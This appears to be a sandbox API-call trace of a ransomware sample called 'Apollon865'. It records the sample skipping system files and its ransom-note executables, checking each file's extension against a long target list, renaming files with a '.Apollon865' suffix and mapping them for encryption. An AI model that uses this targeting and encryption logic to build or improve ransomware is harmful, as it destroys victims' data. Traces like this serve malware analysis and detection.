	[0086.474] lstrlenW (lpString="te") returned 2
	[0086.474] lstrcmpiW (lpString1="kv", lpString2="te") returned -1
	[0086.474] lstrlenW (lpString="teacher") returned 7
	[0086.474] lstrcmpiW (lpString1="Hjv.mkv", lpString2="teacher") returned -1
	[0086.474] lstrlenW (lpString="tmd") returned 3
	[0086.474] lstrcmpiW (lpString1="mkv", lpString2="tmd") returned -1
	[0086.474] lstrlenW (lpString="tps") returned 3
	[0086.474] lstrcmpiW (lpString1="mkv", lpString2="tps") returned -1
	[0086.474] lstrlenW (lpString="trc") returned 3
	[0086.474] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.474] lstrlenW (lpString="trc") returned 3
	[0086.474] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.474] lstrlenW (lpString="trm") returned 3
	[0086.474] lstrcmpiW (lpString1="mkv", lpString2="trm") returned -1
	[0086.474] lstrlenW (lpString="udb") returned 3
	[0086.474] lstrcmpiW (lpString1="mkv", lpString2="udb") returned -1
	[0086.474] lstrlenW (lpString="udl") returned 3
	[0086.474] lstrcmpiW (lpString1="mkv", lpString2="udl") returned -1
	[0086.474] lstrlenW (lpString="usr") returned 3
	[0086.474] lstrcmpiW (lpString1="mkv", lpString2="usr") returned -1
	[0086.474] lstrlenW (lpString="v12") returned 3
	[0086.474] lstrcmpiW (lpString1="mkv", lpString2="v12") returned -1
	[0086.474] lstrlenW (lpString="vis") returned 3
	[0086.475] lstrcmpiW (lpString1="mkv", lpString2="vis") returned -1
	[0086.475] lstrlenW (lpString="vpd") returned 3
	[0086.475] lstrcmpiW (lpString1="mkv", lpString2="vpd") returned -1
	[0086.475] lstrlenW (lpString="vvv") returned 3
	[0086.475] lstrcmpiW (lpString1="mkv", lpString2="vvv") returned -1
	[0086.475] lstrlenW (lpString="wdb") returned 3
	[0086.475] lstrcmpiW (lpString1="mkv", lpString2="wdb") returned -1
	[0086.475] lstrlenW (lpString="wmdb") returned 4
	[0086.475] lstrcmpiW (lpString1=".mkv", lpString2="wmdb") returned -1
	[0086.475] lstrlenW (lpString="wrk") returned 3
	[0086.475] lstrcmpiW (lpString1="mkv", lpString2="wrk") returned -1
	[0086.475] lstrlenW (lpString="xdb") returned 3
	[0086.475] lstrcmpiW (lpString1="mkv", lpString2="xdb") returned -1
	[0086.475] lstrlenW (lpString="xld") returned 3
	[0086.475] lstrcmpiW (lpString1="mkv", lpString2="xld") returned -1
	[0086.475] lstrlenW (lpString="xmlff") returned 5
	[0086.475] lstrcmpiW (lpString1="v.mkv", lpString2="xmlff") returned -1
	[0086.475] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\cgi3f5aHjv.mkv.Apollon865") returned 93
	[0086.475] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\cgi3f5aHjv.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\cgi3f5ahjv.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\cgi3f5aHjv.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\cgi3f5ahjv.mkv.apollon865"), dwFlags=0x1) returned 1
	[0086.476] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\cgi3f5aHjv.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\cgi3f5ahjv.mkv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.476] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=40861) returned 1
	[0086.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.477] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.478] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.478] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.478] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa2a0, lpName=0x0) returned 0x15c
	[0086.478] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa2a0) returned 0x100000
	[0086.482] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.482] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.482] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.482] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.483] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.483] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.483] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.483] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.483] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.483] CloseHandle (hObject=0x15c) returned 1
	[0086.483] CloseHandle (hObject=0x9c) returned 1
	[0086.484] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.484] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.485] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.485] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ec01350, ftCreationTime.dwHighDateTime=0x1d4d195, ftLastAccessTime.dwLowDateTime=0xbd03b590, ftLastAccessTime.dwHighDateTime=0x1d4c89b, ftLastWriteTime.dwLowDateTime=0xbd03b590, ftLastWriteTime.dwHighDateTime=0x1d4c89b, nFileSizeHigh=0x0, nFileSizeLow=0x164d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EdxXw5.swf", cAlternateFileName="")) returned 1
	[0086.485] lstrcmpiW (lpString1="EdxXw5.swf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.485] lstrcmpiW (lpString1="EdxXw5.swf", lpString2="Apollon865.txt.exe") returned 1
	[0086.485] lstrcmpiW (lpString1="EdxXw5.swf", lpString2=".") returned 1
	[0086.485] lstrcmpiW (lpString1="EdxXw5.swf", lpString2="..") returned 1
	[0086.485] lstrcmpiW (lpString1="EdxXw5.swf", lpString2="windows") returned -1
	[0086.485] lstrcmpiW (lpString1="EdxXw5.swf", lpString2="bootmgr") returned 1
	[0086.485] lstrcmpiW (lpString1="EdxXw5.swf", lpString2="temp") returned -1
	[0086.485] lstrcmpiW (lpString1="EdxXw5.swf", lpString2="pagefile.sys") returned -1
	[0086.485] lstrcmpiW (lpString1="EdxXw5.swf", lpString2="boot") returned 1
	[0086.485] lstrcmpiW (lpString1="EdxXw5.swf", lpString2="ids.txt") returned -1
	[0086.485] lstrcmpiW (lpString1="EdxXw5.swf", lpString2="ntuser.dat") returned -1
	[0086.485] lstrcmpiW (lpString1="EdxXw5.swf", lpString2="perflogs") returned -1
	[0086.485] lstrcmpiW (lpString1="EdxXw5.swf", lpString2="MSBuild") returned -1
	[0086.485] lstrlenW (lpString="EdxXw5.swf") returned 10
	[0086.485] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\cgi3f5aHjv.mkv") returned 82
	[0086.485] lstrcpyW (in: lpString1=0x119e690, lpString2="EdxXw5.swf" | out: lpString1="EdxXw5.swf") returned="EdxXw5.swf"
	[0086.485] lstrlenW (lpString="EdxXw5.swf") returned 10
	[0086.485] lstrlenW (lpString="Apollon865") returned 10
	[0086.485] lstrlenW (lpString=".dll") returned 4
	[0086.485] lstrcmpiW (lpString1="EdxXw5.swf", lpString2=".dll") returned 1
	[0086.485] lstrlenW (lpString=".lnk") returned 4
	[0086.486] lstrcmpiW (lpString1="EdxXw5.swf", lpString2=".lnk") returned 1
	[0086.486] lstrlenW (lpString=".ini") returned 4
	[0086.486] lstrcmpiW (lpString1="EdxXw5.swf", lpString2=".ini") returned 1
	[0086.486] lstrlenW (lpString=".sys") returned 4
	[0086.486] lstrcmpiW (lpString1="EdxXw5.swf", lpString2=".sys") returned 1
	[0086.486] lstrlenW (lpString="EdxXw5.swf") returned 10
	[0086.486] lstrlenW (lpString="bak") returned 3
	[0086.486] lstrcmpiW (lpString1="swf", lpString2="bak") returned 1
	[0086.486] lstrlenW (lpString="ba_") returned 3
	[0086.486] lstrcmpiW (lpString1="swf", lpString2="ba_") returned 1
	[0086.486] lstrlenW (lpString="dbb") returned 3
	[0086.486] lstrcmpiW (lpString1="swf", lpString2="dbb") returned 1
	[0086.486] lstrlenW (lpString="vmdk") returned 4
	[0086.486] lstrcmpiW (lpString1=".swf", lpString2="vmdk") returned -1
	[0086.486] lstrlenW (lpString="rar") returned 3
	[0086.486] lstrcmpiW (lpString1="swf", lpString2="rar") returned 1
	[0086.486] lstrlenW (lpString="zip") returned 3
	[0086.486] lstrcmpiW (lpString1="swf", lpString2="zip") returned -1
	[0086.486] lstrlenW (lpString="tgz") returned 3
	[0086.486] lstrcmpiW (lpString1="swf", lpString2="tgz") returned -1
	[0086.486] lstrlenW (lpString="vbox") returned 4
	[0086.486] lstrcmpiW (lpString1=".swf", lpString2="vbox") returned -1
	[0086.486] lstrlenW (lpString="vdi") returned 3
	[0086.486] lstrcmpiW (lpString1="swf", lpString2="vdi") returned -1
	[0086.486] lstrlenW (lpString="vhd") returned 3
	[0086.486] lstrcmpiW (lpString1="swf", lpString2="vhd") returned -1
	[0086.486] lstrlenW (lpString="vhdx") returned 4
	[0086.486] lstrcmpiW (lpString1=".swf", lpString2="vhdx") returned -1
	[0086.486] lstrlenW (lpString="avhd") returned 4
	[0086.486] lstrcmpiW (lpString1=".swf", lpString2="avhd") returned -1
	[0086.486] lstrlenW (lpString="db") returned 2
	[0086.486] lstrcmpiW (lpString1="wf", lpString2="db") returned 1
	[0086.486] lstrlenW (lpString="db2") returned 3
	[0086.486] lstrcmpiW (lpString1="swf", lpString2="db2") returned 1
	[0086.486] lstrlenW (lpString="db3") returned 3
	[0086.486] lstrcmpiW (lpString1="swf", lpString2="db3") returned 1
	[0086.486] lstrlenW (lpString="dbf") returned 3
	[0086.487] lstrcmpiW (lpString1="swf", lpString2="dbf") returned 1
	[0086.487] lstrlenW (lpString="mdf") returned 3
	[0086.487] lstrcmpiW (lpString1="swf", lpString2="mdf") returned 1
	[0086.487] lstrlenW (lpString="mdb") returned 3
	[0086.487] lstrcmpiW (lpString1="swf", lpString2="mdb") returned 1
	[0086.487] lstrlenW (lpString="sql") returned 3
	[0086.487] lstrcmpiW (lpString1="swf", lpString2="sql") returned 1
	[0086.487] lstrlenW (lpString="sqlite") returned 6
	[0086.487] lstrcmpiW (lpString1="w5.swf", lpString2="sqlite") returned 1
	[0086.487] lstrlenW (lpString="sqlite3") returned 7
	[0086.487] lstrcmpiW (lpString1="Xw5.swf", lpString2="sqlite3") returned 1
	[0086.487] lstrlenW (lpString="sqlitedb") returned 8
	[0086.487] lstrcmpiW (lpString1="xXw5.swf", lpString2="sqlitedb") returned 1
	[0086.487] lstrlenW (lpString="xml") returned 3
	[0086.487] lstrcmpiW (lpString1="swf", lpString2="xml") returned -1
	[0086.487] lstrlenW (lpString="$er") returned 3
	[0086.487] lstrcmpiW (lpString1="swf", lpString2="$er") returned 1
	[0086.487] lstrlenW (lpString="4dd") returned 3
	[0086.487] lstrcmpiW (lpString1="swf", lpString2="4dd") returned 1
	[0086.487] lstrlenW (lpString="4dl") returned 3
	[0086.487] lstrcmpiW (lpString1="swf", lpString2="4dl") returned 1
	[0086.487] lstrlenW (lpString="^^^") returned 3
	[0086.487] lstrcmpiW (lpString1="swf", lpString2="^^^") returned 1
	[0086.487] lstrlenW (lpString="abs") returned 3
	[0086.487] lstrcmpiW (lpString1="swf", lpString2="abs") returned 1
	[0086.487] lstrlenW (lpString="abx") returned 3
	[0086.487] lstrcmpiW (lpString1="swf", lpString2="abx") returned 1
	[0086.487] lstrlenW (lpString="accdb") returned 5
	[0086.487] lstrcmpiW (lpString1="5.swf", lpString2="accdb") returned -1
	[0086.487] lstrlenW (lpString="accdc") returned 5
	[0086.487] lstrcmpiW (lpString1="5.swf", lpString2="accdc") returned -1
	[0086.488] lstrlenW (lpString="accde") returned 5
	[0086.488] lstrcmpiW (lpString1="5.swf", lpString2="accde") returned -1
	[0086.488] lstrlenW (lpString="accdr") returned 5
	[0086.488] lstrcmpiW (lpString1="5.swf", lpString2="accdr") returned -1
	[0086.488] lstrlenW (lpString="accdt") returned 5
	[0086.488] lstrcmpiW (lpString1="5.swf", lpString2="accdt") returned -1
	[0086.488] lstrlenW (lpString="accdw") returned 5
	[0086.488] lstrcmpiW (lpString1="5.swf", lpString2="accdw") returned -1
	[0086.488] lstrlenW (lpString="accft") returned 5
	[0086.488] lstrcmpiW (lpString1="5.swf", lpString2="accft") returned -1
	[0086.488] lstrlenW (lpString="adb") returned 3
	[0086.488] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1
	[0086.488] lstrlenW (lpString="adb") returned 3
	[0086.488] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1
	[0086.488] lstrlenW (lpString="ade") returned 3
	[0086.488] lstrcmpiW (lpString1="swf", lpString2="ade") returned 1
	[0086.488] lstrlenW (lpString="adf") returned 3
	[0086.488] lstrcmpiW (lpString1="swf", lpString2="adf") returned 1
	[0086.488] lstrlenW (lpString="adn") returned 3
	[0086.488] lstrcmpiW (lpString1="swf", lpString2="adn") returned 1
	[0086.488] lstrlenW (lpString="adp") returned 3
	[0086.488] lstrcmpiW (lpString1="swf", lpString2="adp") returned 1
	[0086.488] lstrlenW (lpString="alf") returned 3
	[0086.488] lstrcmpiW (lpString1="swf", lpString2="alf") returned 1
	[0086.488] lstrlenW (lpString="ask") returned 3
	[0086.488] lstrcmpiW (lpString1="swf", lpString2="ask") returned 1
	[0086.488] lstrlenW (lpString="btr") returned 3
	[0086.488] lstrcmpiW (lpString1="swf", lpString2="btr") returned 1
	[0086.488] lstrlenW (lpString="cat") returned 3
	[0086.488] lstrcmpiW (lpString1="swf", lpString2="cat") returned 1
	[0086.488] lstrlenW (lpString="cdb") returned 3
	[0086.488] lstrcmpiW (lpString1="swf", lpString2="cdb") returned 1
	[0086.488] lstrlenW (lpString="ckp") returned 3
	[0086.488] lstrcmpiW (lpString1="swf", lpString2="ckp") returned 1
	[0086.488] lstrlenW (lpString="cma") returned 3
	[0086.488] lstrcmpiW (lpString1="swf", lpString2="cma") returned 1
	[0086.488] lstrlenW (lpString="cpd") returned 3
	[0086.489] lstrcmpiW (lpString1="swf", lpString2="cpd") returned 1
	[0086.489] lstrlenW (lpString="dacpac") returned 6
	[0086.489] lstrcmpiW (lpString1="w5.swf", lpString2="dacpac") returned 1
	[0086.489] lstrlenW (lpString="dad") returned 3
	[0086.489] lstrcmpiW (lpString1="swf", lpString2="dad") returned 1
	[0086.489] lstrlenW (lpString="dadiagrams") returned 10
	[0086.489] lstrlenW (lpString="daschema") returned 8
	[0086.489] lstrcmpiW (lpString1="xXw5.swf", lpString2="daschema") returned 1
	[0086.489] lstrlenW (lpString="db-journal") returned 10
	[0086.489] lstrlenW (lpString="db-shm") returned 6
	[0086.489] lstrcmpiW (lpString1="w5.swf", lpString2="db-shm") returned 1
	[0086.489] lstrlenW (lpString="db-wal") returned 6
	[0086.489] lstrcmpiW (lpString1="w5.swf", lpString2="db-wal") returned 1
	[0086.489] lstrlenW (lpString="dbc") returned 3
	[0086.489] lstrcmpiW (lpString1="swf", lpString2="dbc") returned 1
	[0086.489] lstrlenW (lpString="dbs") returned 3
	[0086.489] lstrcmpiW (lpString1="swf", lpString2="dbs") returned 1
	[0086.489] lstrlenW (lpString="dbt") returned 3
	[0086.489] lstrcmpiW (lpString1="swf", lpString2="dbt") returned 1
	[0086.489] lstrlenW (lpString="dbv") returned 3
	[0086.489] lstrcmpiW (lpString1="swf", lpString2="dbv") returned 1
	[0086.489] lstrlenW (lpString="dbx") returned 3
	[0086.489] lstrcmpiW (lpString1="swf", lpString2="dbx") returned 1
	[0086.489] lstrlenW (lpString="dcb") returned 3
	[0086.489] lstrcmpiW (lpString1="swf", lpString2="dcb") returned 1
	[0086.490] lstrcmpiW (lpString1="swf", lpString2="dct") returned 1
	[0086.490] lstrcmpiW (lpString1="swf", lpString2="dcx") returned 1
	[0086.490] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\EdxXw5.swf.Apollon865") returned 89
	[0086.490] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\EdxXw5.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\edxxw5.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\EdxXw5.swf.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\edxxw5.swf.apollon865"), dwFlags=0x1) returned 1
	[0086.491] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\EdxXw5.swf.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\edxxw5.swf.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.491] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=5709) returned 1
	[0086.491] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.492] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.492] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.492] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.493] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1950, lpName=0x0) returned 0x15c
	[0086.493] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1950) returned 0x100000
	[0086.493] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.494] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.494] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.494] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.494] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.494] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.494] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.494] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.494] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.494] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.495] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.495] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.495] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.495] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.495] CloseHandle (hObject=0x15c) returned 1
	[0086.495] CloseHandle (hObject=0x9c) returned 1
	[0086.496] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.496] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.496] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.496] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3013b0d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3013b0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0086.496] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0086.496] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb492ab10, ftCreationTime.dwHighDateTime=0x1d4cbbf, ftLastAccessTime.dwLowDateTime=0xc3d698b0, ftLastAccessTime.dwHighDateTime=0x1d4d165, ftLastWriteTime.dwLowDateTime=0xc3d698b0, ftLastWriteTime.dwHighDateTime=0x1d4d165, nFileSizeHigh=0x0, nFileSizeLow=0x1055a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="obFUBO-skue.mp4", cAlternateFileName="OBFUBO~1.MP4")) returned 1
	[0086.496] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.496] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2="Apollon865.txt.exe") returned 1
	[0086.496] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2=".") returned 1
	[0086.496] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2="..") returned 1
	[0086.496] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2="windows") returned -1
	[0086.496] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2="bootmgr") returned 1
	[0086.496] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2="temp") returned -1
	[0086.496] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2="pagefile.sys") returned -1
	[0086.496] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2="boot") returned 1
	[0086.496] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2="ids.txt") returned 1
	[0086.496] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2="ntuser.dat") returned 1
	[0086.497] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2="perflogs") returned -1
	[0086.497] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2="MSBuild") returned 1
	[0086.497] lstrlenW (lpString="obFUBO-skue.mp4") returned 15
	[0086.497] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\EdxXw5.swf") returned 78
	[0086.497] lstrcpyW (in: lpString1=0x119e690, lpString2="obFUBO-skue.mp4" | out: lpString1="obFUBO-skue.mp4") returned="obFUBO-skue.mp4"
	[0086.497] lstrlenW (lpString="obFUBO-skue.mp4") returned 15
	[0086.497] lstrlenW (lpString="Apollon865") returned 10
	[0086.497] lstrcmpiW (lpString1="O-skue.mp4", lpString2="Apollon865") returned 1
	[0086.497] lstrlenW (lpString=".dll") returned 4
	[0086.497] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2=".dll") returned 1
	[0086.497] lstrlenW (lpString=".lnk") returned 4
	[0086.497] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2=".lnk") returned 1
	[0086.497] lstrlenW (lpString=".ini") returned 4
	[0086.497] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2=".ini") returned 1
	[0086.497] lstrlenW (lpString=".sys") returned 4
	[0086.497] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2=".sys") returned 1
	[0086.497] lstrlenW (lpString="obFUBO-skue.mp4") returned 15
	[0086.497] lstrlenW (lpString="bak") returned 3
	[0086.497] lstrcmpiW (lpString1="mp4", lpString2="bak") returned 1
	[0086.497] lstrlenW (lpString="ba_") returned 3
	[0086.497] lstrcmpiW (lpString1="mp4", lpString2="ba_") returned 1
	[0086.497] lstrlenW (lpString="dbb") returned 3
	[0086.497] lstrcmpiW (lpString1="mp4", lpString2="dbb") returned 1
	[0086.497] lstrlenW (lpString="vmdk") returned 4
	[0086.497] lstrcmpiW (lpString1=".mp4", lpString2="vmdk") returned -1
	[0086.497] lstrlenW (lpString="rar") returned 3
	[0086.497] lstrcmpiW (lpString1="mp4", lpString2="rar") returned -1
	[0086.497] lstrlenW (lpString="zip") returned 3
	[0086.498] lstrcmpiW (lpString1="mp4", lpString2="zip") returned -1
	[0086.498] lstrlenW (lpString="tgz") returned 3
	[0086.498] lstrcmpiW (lpString1="mp4", lpString2="tgz") returned -1
	[0086.498] lstrlenW (lpString="vbox") returned 4
	[0086.498] lstrcmpiW (lpString1=".mp4", lpString2="vbox") returned -1
	[0086.498] lstrlenW (lpString="vdi") returned 3
	[0086.498] lstrcmpiW (lpString1="mp4", lpString2="vdi") returned -1
	[0086.498] lstrlenW (lpString="vhd") returned 3
	[0086.498] lstrcmpiW (lpString1="mp4", lpString2="vhd") returned -1
	[0086.498] lstrlenW (lpString="vhdx") returned 4
	[0086.498] lstrcmpiW (lpString1=".mp4", lpString2="vhdx") returned -1
	[0086.498] lstrlenW (lpString="avhd") returned 4
	[0086.498] lstrcmpiW (lpString1=".mp4", lpString2="avhd") returned -1
	[0086.498] lstrlenW (lpString="db") returned 2
	[0086.498] lstrcmpiW (lpString1="p4", lpString2="db") returned 1
	[0086.498] lstrlenW (lpString="db2") returned 3
